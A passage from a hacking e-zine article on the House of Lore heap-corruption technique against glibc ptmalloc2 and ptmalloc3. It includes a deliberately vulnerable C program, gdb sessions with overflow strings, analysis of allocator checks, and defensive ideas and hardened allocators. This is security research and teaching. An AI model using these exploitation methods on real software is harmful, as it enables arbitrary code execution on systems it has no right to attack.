trapped. Also, remember that since glibc 2.3.6 one can no longer pass to free( ) a chunk smaller than 16 bytes whereas this is the first requirement inherent to this technique (alter the size field of the first piece overwritten 0x9h = 0x8h + PREV_INUSE bit). << It is common sense to take a method and try it; if it fails, admit it frankly and try another. But above all, try something. >> [ Franklin D. Roosevelt ] .------------------------------. ---[ 3 ---[ LargeBin Corruption Method ]--- .------------------------------. In order to apply the method recently explained to a largebin we need the same conditions, except that the size of the chunks allocated should be above 512 bytes as seen above. However, in this case the code triggered in "_int_malloc( )" is different and more complex. Extra requirements will be necessary in order to achieve a successful execution of arbitrary code. We will make some minor modifications to the vulnerable program presented in 2.2.1 and will see, through the practice, which of these preconditions must be met. Here is the code: ---[ thl-large.c ]--- #include <stdlib.h> #include <stdio.h> #include <string.h> void evil_func(void) { printf("\nThis is an evil function. You become a cool \ hacker if you are able to execute it\n"); } void func1(void) { char *lb1, *lb2; lb1 = (char *) malloc(1536); printf("\nLB1 -> [ %p ]", lb1); lb2 = malloc(1536); printf("\nLB2 -> [ %p ]", lb2); strcpy(lb1, "Which is your favourite hobby: "); printf("\n%s", lb1); fgets(lb2, 128, stdin); } int main(int argc, char *argv[]) { char *buff1, *buff2, *buff3; malloc(4096); buff1 = (char *) malloc(1024); printf("\nBuff1 -> [ %p ]", buff1); buff2 = (char *) malloc(2048); printf("\nBuff2 -> [ %p ]", buff2); buff3 = (char *) malloc(4096); printf("\nBuff3 -> [ %p ]\n", buff3); free(buff2); printf("\nBuff4 -> [ %p ]", malloc(4096)); strcpy(buff1, argv[1]); func1(); return 0; } ---[ end thl-large.c ]--- As you can see, we still need an extra reserve (buff4) after releasing the second allocated chunk. This is because it's not a good idea to have a corrupted "bk" pointer in a chunk that still is in the unsorted bin. When it happens, the program usually breaks sooner or later in the instructions: /* remove from unsorted list */ unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av); But if we do not make anything wrong before the recently freed chunk is placed in its corresponding bin, then we pass without penalty or glory the next area code: while ( (victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) { ... } Having passed this code means that (buff2) has been introduced in its corresponding largebin. Therefore we will reach this code: ----- snip ----- if (!in_smallbin_range(nb)) { bin = bin_at(av, idx); for (victim = last(bin); victim != bin; victim = victim->bk) { size = chunksize(victim); if ((unsigned long)(size) >= (unsigned long)(nb)) { printf("\n[PTMALLOC2] No enter here please\n"); remainder_size = size - nb; unlink(victim, bck, fwd); ..... ----- snip ----- This does not look good. The unlink( ) macro is called, and we know the associated protection since the 2.3.6 version of Glibc. Going there would destroy all the work done until now. Here comes one of the first differences in the largebin corruption method. In 2.2.1 we said that after overwriting the "bk" pointer of the free( ) chunk, two calls to malloc( ) with the same size should be carried out to return a pointer *mem in an arbitrary memory address. In largebin corruption, we must avoid this code at all cost. For this, the two calls to malloc( ) must be less than buff2->size. Phantasmal told us "512 < M < N", and that is what we see in our vulnerable application: 512 < 1536 < 2048. As it has not previously been freed any chunk of this size (1536) or at least belonging to the same bin, "_int_malloc( )" tries to search a chunk that can fulfill the request from the next bin to the recently scanned: // Search for a chunk by scanning bins, starting with next largest bin. ++idx; bin = bin_at(av,idx); And here is where the magic comes, the following piece of code will be executed: ----- snip ----- victim = last(bin); ..... else { size = chunksize(victim); remainder_size = size - nb; printf("\n[PTMALLOC2] -> (Largebin code reached)"); printf("\n[PTMALLOC2] -> remander_size = size (%d) - nb (%d) = %u", size, nb, remainder_size); printf("\n[PTMALLOC2] -> (victim = [ %p ])", victim); printf("\n[PTMALLOC2] -> (victim->bk = [ %p ])\n", victim->bk); /* unlink */ bck = victim->bk; bin->bk = bck; bck->fd = bin; /* Exhaust */ if (remainder_size < MINSIZE) { printf("\n[PTMALLOC2] -> Exhaust code!! You win!\n"); ..... return chunk2mem(victim); } /* Split */ else { ..... set_foot(remainder, remainder_size); check_malloced_chunk(av, victim, nb); return chunk2mem(victim); } } ----- snip ----- The code has been properly trimmed to show only the parts that have relevance in the method we are describing. Calls to printf( ) are of my own and you will soon see its usefulness. Also it's easy to see that the process is practically the same as in the smallbin code. You take the last chunk of the respective largebin (last(bin)) in "victim" and proceed to unlink it (without macro) before reaching the user control. Since we control "victim->bk", at first the attack requirements are the same, but then, where is the difference? Calling set_foot( ) tends to produce a segmentation fault since that "remainder_size" is calculated from "victim->size", value that until now we were filling out with random data. The result is something like the following: (gdb) run `perl -e 'print "A" x 1036 . "\x44\xf0\xff\xbf"'` [PTMALLOC2] -> (Chunk from TOP) Buff1 -> [ 0x8050010 ] [PTMALLOC2] -> (Chunk from TOP) Buff2 -> [ 0x8050418 ] [PTMALLOC2] -> (Chunk from TOP) Buff3 -> [ 0x8050c20 ] [PTMALLOC2] -> (Freed and unsorted [ 0x8050410 ] chunk) [PTMALLOC2] -> (Chunk from TOP) Buff4 -> [ 0x8051c28 ] [PTMALLOC2] -> (Largebin code reached) [PTMALLOC2] -> remander_size = size (1094795584) - nb (1544) = 1094794040 [PTMALLOC2] -> (victim = [ 0x8050410 ]) [PTMALLOC2] -> (victim->bk = [ 0xbffff044 ]) Program received signal SIGSEGV, Segmentation fault. 0x0804a072 in _int_malloc (av=0x804e0c0, bytes=1536) at malloc.c:4144 4144 set_foot(remainder, remainder_size); (gdb) The solution is then enforce the conditional: if (remainder_size < MinSize) { ... }. Anyone might think of overwriting "victim->size" with a value like "0xfcfcfcfc" which would generate as a result a negative number smaller than MINSIZE, but we must remember that "remainder_size" is defined as an "unsigned long" and therefore the result will always be a positive value. The only possibility that remains then is that the vulnerable application allows us to insert null bytes in the attack string, and therefore to supply a value as (0x00000610 = 1552) that would generate: 1552 - 1544 (align) = 8 and the condition would be fulfilled. Let us see in action: (gdb) set *(0x08050410+4)=0x00000610 (gdb) c Continuing. Buff4 -> [ 0x8051c28 ] [PTMALLOC2] -> (Largebin code reached) [PTMALLOC2] -> remander_size = size (1552) - nb (1544) = 8 [PTMALLOC2] -> (victim = [ 0x8050410 ]) [PTMALLOC2] -> (victim->bk = [ 0xbffff044 ]) [PTMALLOC2] -> Exhaust code!! You win! LB1 -> [ 0x8050418 ] [PTMALLOC2] -> (Largebin code reached) [PTMALLOC2] -> remander_size = size (-1073744384) - nb (1544) = 3221221368 [PTMALLOC2] -> (victim = [ 0xbffff044 ]) [PTMALLOC2] -> (victim->bk = [ 0xbffff651 ]) Program received signal SIGSEGV, Segmentation fault. 0x0804a072 in _int_malloc (av=0x804e0c0, bytes=1536) at malloc.c:4144 4144 set_foot(remainder, remainder_size); Perfect, we reached the second memory request where we saw that victim is equal to 0xbffff044 which being returned would provide a chunk whose *mem pointes to the stack. However set_foot( ) again gives us problems, and this is obviously because we are not controlling the "size" field of this fake chunk created on the stack. This is where we have to overcome the latter condition. Victim should point to a memory location containing user-controlled data, so that we can enter an appropriate "size" value and conclude the technique. We end this section by saying that the largebin corruption method is not just pure fantasy as we've made it a reality. However it is true that finding the required preconditions of attack in real-life applications is almost impossible. As a curious note, one might try to overwrite "victim->size" with 0xffffffff (-1) and check that on this occasion set_foot( ) seems to follow its course without breaking the program. Note: Again we have not tested all versions of glibc, but we noted the following fixes in advanced versions: ----- snip ----- else { size = chunksize(victim); /* We know the first chunk in this bin is big enough to use. */ assert((unsigned long)(size) >= (unsigned long)(nb)); <-- !!!!!!! remainder_size = size - nb; /* unlink */ unlink(victim, bck, fwd); /* Exhaust */ if (remainder_size < MINSIZE) { set_inuse_bit_at_offset(victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; } /* Split */ else { ----- snip ----- What this means is that the unlink( ) macro has been newly introduced into the code, and thus the classic pointer testing mitigate the attack. << Insanity is doing the same thing over and over again, and expecting different results. >> [ Albert Einstein ] .-------------------------. ---[ 4 ---[ Analysis of Ptmalloc3 ]--- .-------------------------. Delving into the internals of Ptmalloc3, without warm up, may seem violent, but with a little help it's only a child's game. In order to understand correctly the next sections, I present here the most notable differences in the code with respect to Ptmalloc2. The basic operation remains the same, in the end it's another common memory allocator, and is also based on a version of Doug Lea allocator but adapted to work on multiple threads. For example, here is the chunk definition: struct malloc_chunk { size_t prev_foot; /* Size of previous chunk (if free). */ size_t head; /* Size and inuse bits. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; }; As we see, the names of our well known "prev_size" and "size" fields have been changed, but the meaning remains the same. Furthermore we knew three usual bit control to which they added an extra one called "CINUSE_BIT" which tells (in a redundant way) that the current chunk is assigned, as opposed to that PINUSE_BIT that continues to report the allocation of the previous chunk. Both bits have their corresponding checking and assign macros. The known "malloc_state" structure now stores the bins into two different arrays for different uses: mchunkptr smallbins[(NSMALLBINS+1)*2]; tbinptr treebins[NTREEBINS]; The first of them stores free chunks of memory below 256 bytes. Treebins[] is responsible for long pieces and uses a special tree organization. Both arrays are important in the respective techniques that will be discussed in the following sections, providing there more details about its management and corruption. Some of the areas of greatest interest in "malloc_state" are: char* least_addr; mchunkptr dv; size_t magic; * "least_addr" is used in certain macros to check if the address of a given P chunk is within a reliable range. * "dv", or Designated Victim is a piece that can be used quickly to serve a small request, and to gain efficiency is typically, by general rule, the last remaining piece of another small request. This is a value that is used frequently in the smallbin code, and we will see it in the next section. * "Magic" is a value that should always be equal to malloc_params.magic and in principle is obtained through the device "/dev/urandom". This value can be XORed with mstate and written into p->prev_foot for later to retrieve the mstate structure of that piece by applying another XOR operation with the same value. If "/dev/urandom" can not be used, magic is calculated from the time(0) syscall and "0x55555555U" value with other checkups, and if the constant INSECURE was defined at compile time magic then directly take the constant value: "0x58585858U". For security purposes, some of the most important macros are following: #define ok_address(M, a) ((char*)(a) >= (M)->least_addr) #define ok_next(p, n) ((char*)(p) < (char*)(n)) #define ok_cinuse(p) cinuse(p) #define ok_pinuse(p) pinuse(p) #define ok_magic(M) ((M)->magic == mparams.magic) which could always return true if the constant INSECURE is defined at compile time (which is not the case by default). The last macro that you could be observe frequently is "RTCHECK(e)" which is nothing more than a wrapper for "__builtin_expect(e, 1)", which in time is more familiar from previous studies on malloc. As we said, "malloc_params" contains some of the properties that can be established through "mallopt(int param, int value)" at runtime, and additionally we have the structure "mallinfo" that maintains the global state of the allocation system with information such as the amount of already allocated space, the amount of free space, the number of total free chunks, etc... Talking about the management of Mutex and treatment of Threads in Ptmalloc3 is something beyond the scope of this article (and would probably require to write an entire book), so we will not discuss this issue and will rather go forward. In the next section we see that every precaution that have been taken are not sufficient to mitigate the attack presented here. << Software is like entropy: It is difficult to grasp, weighs nothing, and obeys the Second Law of Thermodynamics: i.e., it always increases. >> [ Norman Augustine ] .---------------------------------. ---[ 4.1 ---[ SmallBin Corruption (Reverse) ]--- .---------------------------------. In an attempt to determine whether THoL could be viable in this last version of Wolfram Gloger. This version have a lot security mechanisms and integrity checks against heap overflows, fortunately I discovered a variant of our smallbin corruption method, this variant could be applied. To begin, we compile Ptmalloc3 and link the library statically with the vulnerable application presented in 2.2.1. After using the same method to exploit that application (by adjusting the evil_func( ) address of course, which would be our dummy shellcode), we obtain a segment violation at malloc.c, particularly in the last instruction of this piece of code: ----- snip ----- void* mspace_malloc(mspace msp, size_t bytes) { ..... if (!PREACTION(ms)) { ..... if (bytes <= MAX_SMALL_REQUEST) { ..... if ((smallbits & 0x3U) != 0) { ..... b = smallbin_at(ms, idx); p = b->fd; unlink_first_small_chunk(ms, b, p, idx); ----- snip ----- Ptmalloc3 can use both dlmalloc( ) and mspace_malloc( ) depending on whether the constant "ONLY_MSPACES" has been defined at compile-time (this is the default option -DONLY_MSPACES). This is irrelevant for the purposes of this explanation since the code is practically the same for both functions. The application breaks when, after having overwritten the "bk" pointer of buff2, one requests a new buffer with the same size. Why does it happen? As you can see, Ptmallc3 acts in an opposite way of Ptmalloc2. Ptmalloc2 attempts to satisfy the memory request with the last piece in the bin, however, Ptmalloc3 intends to cover the request with the first piece of the bin: "p = b->fd". mspace_malloc () attempts to unlink this piece of the corresponding bin to serve the user request, but something bad happens inside the "unlink_first_small_chunk( )" macro, and the program segfaults. Reviewing the code, we are interested by a few lines: ----- snip ----- #define unlink_first_small_chunk(M, B, P, I) {\ mchunkptr F = P->fd;\ [1] ..... if (B == F)\ clear_smallmap(M, I);\ else if (RTCHECK(ok_address(M, F))) {\ [2] B->fd = F;\ [3] F->bk = B;\ [4] }\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ } ----- snip ----- Here, P is our overwritten chunk, and B is the bin belonging to that piece. In [1], F takes the value of the "fd" pointer that we control (at the same time that we overwrote the "bk" pointer in buff2). If [2] is overcome, which is a security macro we've seen in the previous section: #define ok_address(M, a) ((char*)(a) >= (M)->least_addr) where the least_addr field is "the least address ever obtained from MORECORE or MMAP"... then anything of higher value will pass this test. We arrive to the classic steps of unlink, in [3] the "fd" pointer of the bin points to our manipulated address. In [4] is where a segmentation violation occurs, as it tries to write to (0x41414141)->bk the address of the bin. As it falls outside the allocated address space, the fun ends. For the smallbin corruption technique over Ptmalloc3 it is necessary to properly overwrite the "fd" pointer of a freed buffer with a random address. After, it is necessary to try making a future call to malloc( ), with the same size, that returns the random address as the allocated space. The precautions are the same as in 2.2.1, F->bk must contain a writable address, otherwise it will cause an access violation in [4]. If we accomplish all this conditions, the first chunk of the bin will be unlinked and the following piece of code will be triggered. ----- snip ----- mem = chunk2mem(p); check_malloced_chunk(gm, mem, nb); goto postaction; ..... postaction: POSTACTION(gm); return mem; ----- snip ----- I added the occasional printf( ) sentence into mspace_malloc( ) and the unlink_first_small_chunk( ) macro to see what happened, and the result was as follow: Starting program: /home/black/ptmalloc3/thl `perl -e 'print "A"x24 . "\x28\xf3\xff\xbf"'` < evil.in [mspace_malloc()]: 16 bytes <= 244 Buff1 -> [ 0xb7feefe8 ] [mspace_malloc()]: 128 bytes <= 244 Buff2 -> [ 0xb7fef000 ] Buff3 -> [ 0xb7fef088 ] Buff4 -> [ 0xb7fef190 ] [mspace_malloc()]: 128 bytes <= 244 [unlink_first_small_chunk()]: P->fd = 0xbffff328 LB1 -> [ 0xb7fef000 ] [mspace_malloc()]: 128 bytes <= 244 [unlink_first_small_chunk()]: P->fd = 0xbffff378 LB2 -> [ 0xbffff330 ] Which is your favourite hobby: This is an evil function. You become a cool hacker if you are able to execute it "244" is the present value of MAX_SMALL_REQUEST, which as we can see, is another difference from Ptmalloc2, which defined a smallbin whenever requested size was less than 512. In this case the range is a little more limited. << From a programmer's point of view, the user is a peripheral that types when you issue a read request. >> [ P. Williams ] .----------------------------------------. ---[ 4.2 ---[ LargeBin Method (TreeBin Corruption) ]--- .----------------------------------------. At this point of the article, we have understood the basic concepts correctly. One could now continue to study on his own the Ptmalloc3 internals. In Ptmalloc3, large chunks (ie larger than 256 bytes), are stored in a tree structure where each chunk has a pointer to its father, and retains two pointers to its children (left and right) if having any. The code that defines this structure is the following: ----- snip ----- struct malloc_tree_chunk { /* The first four fields must be compatible with malloc_chunk */ size_t prev_foot; size_t head; struct malloc_tree_chunk* fd; struct malloc_tree_chunk* bk; struct malloc_tree_chunk* child[2]; struct malloc_tree_chunk* parent; bindex_t index; }; ----- snip ----- When a memory request for a long buffer is made, the "if (bytes <= MAX_SMALL_REQUEST) {}" sentence fails, and the executed code, if nothing strange happens, is as follow: ----- snip ----- else { nb = pad_request(bytes); if (ms->treemap != 0 && (mem = tmalloc_large(ms, nb)) != 0) { check_malloced_chunk(ms, mem, nb); goto postaction; } } ----- snip ----- Into tmalloc_large( ), we aim to achieve this code: ----- snip ----- if (v != 0 && rsize < (size_t)(m->dvsize - nb)) { if (RTCHECK(ok_address(m, v))) { /* split */ ..... if (RTCHECK(ok_next(v, r))) { unlink_large_chunk(m, v); if (rsize < MIN_CHUNK_SIZE) set_inuse_and_pinuse(m, v, (rsize + nb)); else { set_size_and_pinuse_of_inuse_chunk(m, v, nb); set_size_and_pinuse_of_free_chunk(r, rsize); insert_chunk(m, r, rsize); } return chunk2mem(v); ..... ----- snip ----- If we tried to exploit this program in the same way as for Ptmalloc2, the application would break first in the "unlink_large_chunk( )" macro, which is very similar to "unlink_first_small_chunk( )". The most important lines of this macro are these: F = X->fd;\ [1] R = X->bk;\ [2] F->bk = R;\ [3] R->fd = F;\ [4] Thus we now know that both the "fd" and "bk" pointers of the overwritten chunk must be pointing to writable memory addresses, otherwise this could lead to an invalid memory access. The next error will come in: "set_size_and_pinuse_of_free_chunk(r, rsize)", which tells us that the "size" field of the overwritten chunk must be user-controlled. And so again, we need the vulnerable application to allow us introducing NULL bytes. If we can accomplish this, the first call to "malloc(1536)" of the application shown in section 3 will be executed correctly, and the issue will come with the second call. Specifically within the loop: ----- snip ----- while (t != 0) { /* find smallest of tree or subtree */ size_t trem = chunksize(t) - nb; if (trem < rsize) { rsize = trem; v = t; } t = leftmost_child(t); } ----- snip ----- When you first enter this loop, "t" is being equal to the address of the first chunk in the tree_bin[] corresponding to the size of the buffer requested. The loop will continue while "t" has still some son and, finally "v" (victim) will contain the smallest piece that can satisfy the request. The trick for saving our problem is to exit the loop after the first iteration. For this, we must make "leftmost_child(t)" returning a "0" value. Knowing the definition: #define leftmost_child(t) ((t)->child[0] != 0? (t)->child[0]:(t)->child[1]) The only way is to place (buff2->bk) in an address of the stack. It is necessary the pointers child[0] and child[1] with a "0" value, which means no more children. Then "t" (and therefore "v") will be provided while the "size" field not fails the if( ) sentence. << Before software should be reusable, it should be usable. >> [ Ralph Johnson ] .-----------------------------. ---[ 4.3 ---[ Implement Security Checks ]--- .-----------------------------. Ptmalloc3 could be safer than it seems at first, but for this, you should have defined the FOOTERS constant at compile time (which is not the default case). We saw the "magic" parameter at the beginning of section 4, which is present in all malloc_state structures and the way in which it is calculated. The reason why "prev_size" now is named as "prev_foot" if that if FOOTERS is defined, then this field is used to store the result of a XOR operation between the mstate belonging to the chunk and the magic value recently calculated. This is done with: /* Set foot of inuse chunk to be xor of mstate and seed */ #define mark_inuse_foot(M,p,s)\ (((mchunkptr)((char*)(p)+(s)))->prev_foot = ((size_t)(M) ^ mparams.magic)) XOR, as always, remains being a symmetric encryption that allows, at the same time, saving the malloc_state address and establishing a kind of cookie to prevent a possible attack whenever altered. This mstate is obtained with the following macro: #define get_mstate_for(p)\ ((mstate)(((mchunkptr)((char*)(p) +\ (chunksize(p))))->prev_foot ^ mparams.magic)) For example, at the beginning of the "mspaces_free( )" function which is called by the wrapper free( ), is started in this way: #if FOOTERS mstate fm = get_mstate_for(p); #else /* FOOTERS */ mstate fm = (mstate)msp; #endif /* FOOTERS */ if (!ok_magic(fm)) { USAGE_ERROR_ACTION(fm, p); return; } If we corrupt the header of an allocated chunk (and therefore the prev_foot field). When the chunk was freed, get_mstate_for( ) will return an erroneous arena. At this moment ok_magic( ) will test the "magic" value of that area and it will abort the application. Moreover, one must be aware that the current flow could be broken even before the USAGE_ERROR_ACTION( ) call if the reading of fm->magic causes a segmentation fault due to wrong value obtained by get_mstate_for( ). How to deal with this cookie and the probability analysis in order to predict its value at runtime is an old issue, and we will not talk more here about it. Though one could remember the PaX case, perhaps an overwritten pointer can point beyond the "size" field of a chunk, and through a future STRxxx( ) or MEMxxx( ) call, crush their data without have altered "prev_foot". Skape made an excellent job in his "Reducing the effective entropy of gs cookies" [4] for the Windows platform. It could give you some fantastic ideas to apply. Who knows, it all depends on the vulnerability and inherent requirements of the tested application. What is the advantage of THoL according to this protection? It is very clear, the target chunk is corrupted after its release, and therefore the integrity checks are passed. Anyway, there should be ways to mitigate these kinds of problems, to start, if we all know that no memory allocation should proceed belonging to a stack location, one could implement something as simple as this: #define STACK_ADDR 0xbff00000 #define ok_address(M, a) (((char*)(a) >= (M)->least_addr)\ && ((a) <= STACK_ADDR)) and the application is aborted before getting a successful exploitation. Also a check as ((a) >> 20) == 0xbff) should be effective. It is only an example, the relative stack position could be very different in your system, it is a very restrictive protection. Anyone who read the source code base has probably noticed that Ptmalloc3's unlink...( ) macros omit the classic tests that implanted in glibc to check the double linked list. We do not consider this because we know that a real implementation would take it into account and should add this integrity check. However, I can not perform a more detailed stud until someone decides in a future that glibc will be based on Ptmalloc3. The conclusion of this overview is that some of the techniques detailed in the Maleficarum & Des-Maleficarum papers are not reliable in Ptmalloc3. One of them, for example, is The House of Force. Remember that it needs both to overwrite the "size" field of the wilderness chunk and a request with a user-defined size. This was possible partly in Ptmalloc2 because the size of the top chunk was read in this way: victim = av->top; size = chunksize(victim); Unfortunately, now Ptmalloc3 saves this value in the "malloc_state" and reads it directly with this: size_t rsize = (g)m->topsize // gm for dlmalloc( ), m for // mspace_malloc( ) In any case, it is worth recalling one of the comments present at the beginning of "malloc.c": "This is only one aspect of security -- these checks do not, and cannot, detect all possible programming errors". << Programming without an overall architecture or design in mind is like exploring a cave with only a flashlight: You don't know where you've been, you don't know where you're going, and you don't know quite where you are. >> [ Danny Thorpe ] .-----------------------------------. ---[ 4.3.1 ---[ Secure Heap Allocator (Utopian) ]--- .-----------------------------------. First, there is no way to create a "heap allocator" totally secure, it's impossible (note: you can design the most secure allocator in the world but if it's too slow => it's no use). To begin with, and the main rule (which is fairly obvious), implies that the control structures or more simply, headers, can not be located being adjacent to the data. Create a macro that adds 8 bytes to the address of a header for direct access to data is very simple, but has never been a safe option. However, although this problem will be solved, still others thought to corrupt the data of another allocated chunk is not useful if it not allows arbitrary code execution, but and if these buffers contain data whose integrity has to be guaranteed (financial information, others...)? Then we came to the point in which it is essential the use cookies between the fragments of memory assigned. It obviously has side effects. The most efficient would be that this cookie (say 4 bytes) will be the last 4 bytes of each allocated chunk, with the target of preserve the alignment, since that put them between two chunks required a more complicated and possibly slower management. Besides this, we could also take ideas from "Electric Fence - Red-Zone memory allocator" by Bruce Perens [5]. His protection ideas are: - Anti Double Frees: if ( slot->mode != ALLOCATED ) { if ( internalUse && slot->mode == INTERNAL_USE ) ..... else { EF_Abort("free(%a): freeing free memory.",address); - Free unallocated space (EFense maintains an array of addresses of chunks allocated (slots) ): slot = slotForUserAddress(address); if ( !slot ) EF_Abort("free(%a): address not from malloc().", address); Other implementations of dynamic memory management that we should take into account: Jemalloc on FreeBSD [6] and Guard Malloc for Mac OS X [7]. The first is specially designed for concurrent systems. We talked about management of multiple threads on multiple processors, and how to achieve this efficiently, without affecting system performance, and getting better times in comparison with other memory managers. The second, to take one example, use the pagination and its mechanism of protection in a very clever way. Extracted directly from the manpage, we read the core of his method: "Each malloc allocation is placed on its own virtual memory page, with the end of the buffer at the end of the page's memory, and the next page is kept unallocated. As a result, accesses beyond the end of the buffer cause a bus error immediately. When memory is freed, libgmalloc deallocates its virtual memory, causing reads or writes to the freed buffer cause a bus error." Note: That's a really interesting idea but you should take into account the fact that such a technic is not _that_ effective because if would sacrifice a lot of memory. It would induce a PAGE_SIZE (4096 bytes is a common value, or getpagesize( ) ;) allocation for a small chunk. In my opinion, I do not see Guard Malloc as a memory manager of routine use, but rather as an implementation with which to compile your programs in the early stages of development/debugging. However, Guard Malloc is a highly user-configurable library. For example, you could allow through an specific environment variable (MALLOC_ALLOW_READS) to read past an allocated buffer. This is done by setting the following virtual page as Read-Only. If this variable is enabled along with other specific environment variable (MALLOC_PROTECT_BEFORE), you can read the previous virtual page. And still more, if MALLOC_PROTECT_BEFORE is enabled without MALLOC_ALLOW_READS buffer underflow can be detected. But this is something that you can read in the official documentation, and it's needless to say more here. << When debugging, novices insert corrective code; experts remove defective code. >> [ Richard Pattis ] .------------. ---[ 4.3.2 ---[ dnmalloc ]--- .------------. This implementation (DistriNet malloc) [10] is like the most modern systems: code and data are loaded into separate memory locations, dnmalloc applies the same to chunk and chunk information which are stored in separate contiguous memory protected by guard pages. A hashtable which contains pointers to a linked list of chunk information accessed through the hash function is used to associate chunks with the chunks information. [12] Memory with dnmalloc: .---------------. | .text | .---------------. | .data | .---------------. ... .---------------. | Chunks | .---------------. .. || || \/ /\ || || .. .--------------------. | Memory Page | <- This Page is not writable .--------------------. | Chunk Information | .--------------------. | The Hash Table | .--------------------. | Memory Page | .--------------------. | The Stack | <- This Page is not writable .--------------------. The way to find the chunk information: 1.- Address of the chunk - Start address of the heap = *Result* 2.- To get the entry in the Hash Table: shift *Result* 7 bits to the right. 3.- Go over the linked list till it have the correct chunk. .-------------------------------------. | The Hash Table | . ................................... . | Pointers to each Chunk Information | --> Chunk Information (Hash Next .-------------------------------------. to the next Chunk Information) The manipulation of the Chunk Information: 1.- A fixed area is mapped below the Hash table for the Chunks Information. 2.- Free Chunk Information are stored in a linked list. 3.- When a new Chunk Information is needed the first element in the free list is used. 4.- If none are free a Chunk is allocated from the map. 5.- If the map is empty It maps extra memory for it (and move the guard page). 6.- Chunk information is protected by guard pages. << Passwords are like underwear: you don't let people see it, you should change it very often, and you shouldn't share it with strangers. >> [ Chris Pirillo ] .------------------. ---[ 4.3.3 ---[ OpenBSD malloc ]--- .------------------. This implementation [11] [13] have the design goals: simple, unpredictable, fast, less metadata space overhead, robust for example freeing of a bogus pointer or a double free should be detected ... About the Metadata: keep track of mmaped regions by storing their address and size into a hash table, keep existing data structure for chunk allocations, a free region cache with a fixed number of slots: Free regions cache 1.- Regions freed are kept for later reuse 2.- Large regions are unmapped directly 3.- If the number of pages cached gets too large, unmap some. 4.- Randomized search for fitting region, so region reuse is less predictable 5.- Optionally, pages in the cache are marked PROT_NONE << Getting information off the Internet is like taking a drink from a fire hydrant. >> [ Mitchell Kapor ] .-----------------------------. ---[ 5 ---[ Miscellany, ASLR and More ]--- .-----------------------------. We already mentioned something about ASLR and Non Exec Heap in the Malloc Des-Maleficarum paper. Now we do the same with the method we have studied. For the purposes of this technique, I considered disabled the ASLR in all examples of this article. If this protection was enabled in real life then randomization only affects to the position of the final fake chunk in the stack and our ability to predict a memory address close enough to a saved return address that can be overwritten. This should not be an utterly impossible task, and we consider that the bruteforce is always a possibility that we will have a hand in most restrictive situations. Obviously, the non-exec heap does not affect the techniques described in this paper, as one might place a shellcode in any elsewhere, although we warn that if the heap is not executable it is very likely that the stack will not be either. Therefore one should use a ret2libc style attack or return into mprotect( ) to avoid this protection. This is an old theme, and each will know how to analyze problems underlying the system attacked. Unfortunately, I do not show a real-life exploit here. But we can talk a bit about the reliability and potential of success when we are studying a vulnerability in the wild. The preconditions are clear, this has been seen repeatedly throughout of this article. The obvious difference between the PoC's that I presented here and the applications you use every day (as well as email clients, or web browsers), is that one can not predict in a first chance the current state of the heap. And this is really a problem, because while this is not in a fairly stable and predictable state, the chances of exploiting will be minimal. But very high-level hackers have already met once this class of problems, and over time have been designing and developing a series of techniques which allow reordering the heap so that both, the position of the allocated chunks as the data contained within them, are parameters controlled by the user. Among these techniques, we must appoint two best known: - Heap Spray - Heap Feng Shui You can read something about them in the following paper presented at the BlackHat 2007 [8]. In short we can say that the "Heap Spray" technique simply fill in the heap as far as possible by requesting large amount of memory placing there repetitions of nop sleds and the opportune shellcode, then just simply find a predictable memory address for the "primitive 4-byte overwrite". A very clever idea in this technique is to make the nop sled values equal to the selected address, so that it will be self-referential. Feng Shui is a much more elaborate technique, it first tries to defragment the Heap by filling the holes. Then it comes back to create holes in the upper controlled zone so that the memory remains as: [ chunk | hole | chunk | hole | chunk | hole | chunk ] ... and finally tries to create the buffer to overflow in one of these holes, knowing that this will always be adjacent to one of its buffers containing information controlled by the exploiter. We will not talk about it more here. Just say that although some of these methodologies may seem time consuming and fatigue making, without them nobody could create reliable exploits, or obtain success in most of the attempts. << Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning. >> [ Rich Cook ] .---------------. ---[ 6 ---[ Conclusions ]--- .---------------. In this article we have seen how The House of Lore hid inside of itself a power much greater than we imagined. We also presented a fun example showing that, despite not being vulnerable to all the techniques we knew so far, it was still vulnerable to one that until now had only been described theoretically. We detail a second method of attack also based on the corruption of a largebin, this attack could be an alternative in some circumstances and should be as important as the main method of the smallbin corruption. Finally we detailed a way to apply THoL in version 3 of the Ptmalloc library, which many thought was not vulnerable to attacks due to the imposition of numerous restrictions. Reviewing and analyzing in depth some of the security mechanisms that have been implanted in this library, allowed to find that further studies will be needed to discover new vulnerabilities and areas of code that can be manipulated for personal fun and profit. If you want a tip from mine on how to improve your hacking, here goes: Reads everything, study everything... then forget it all and do it differently, do it better. Fill your cup, empty your cup and fill it again with fresh water. Finally, I would like to recall that I said the following in my "Malloc Des-Maleficarum" paper: "...and The House of Lore, although not very suitable for a credible case, no one can say that is a complete exception..." With this new article I hope I have changed the meaning of my words, and shown that sometimes in hacking you make mistakes, but never stop to investigate and repair your errors. Everything we do is for fun, and we will do it as long as we exist on the land and cyberspace. << All truths are easy to understand once they are discovered; the point is to discover them. >> [ Galileo Galilei ] .-------------------. ---[ 7 ---[ Acknowledgments ]--- .-------------------. First, I would like to give my acknowledgments to Dreg for his insistence for that I would do something with this paper and it not to fall into oblivion. After a bad time ... I could not give a talk on this subject at RootedCon [9], Dreg still graciously encouraged me to finish the translation and publish this article in this fantastic e-zine which undoubtedly left its mark etched in the hacking history. Indeed, the last details in the translation of this article are Dreg's work, and this would never have been what it is without his invaluable help. For the rest, also thanks to all the people I met in dsrCON!, all very friendly, outgoing and all with their particular point of madness. I am not going to give more names, but, to all of them, thanks. And remember... Happy Hacking! .--------------. ---[ 8 ---[ References ]--- .--------------. [1] Malloc Maleficarum http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt [2] Malloc Des-Maleficarum http://www.phrack.org/issues.html?issue=66&id=10 [3] PTMALLOC (v2 & v3) http://www.malloc.de/en/ [4] Reducing the effective entropy of gs cookies http://uninformed.org/?v=7&a=2&t=sumry [5] Electric Fence - Red-Zone memory allocator http://perens.com/FreeSoftware/ElectricFence/ electric-fence_2.1.13-0.1.tar.gz [6] Jemalloc - A Scalable Concurrent malloc(3) Implementacion for FreeBSD 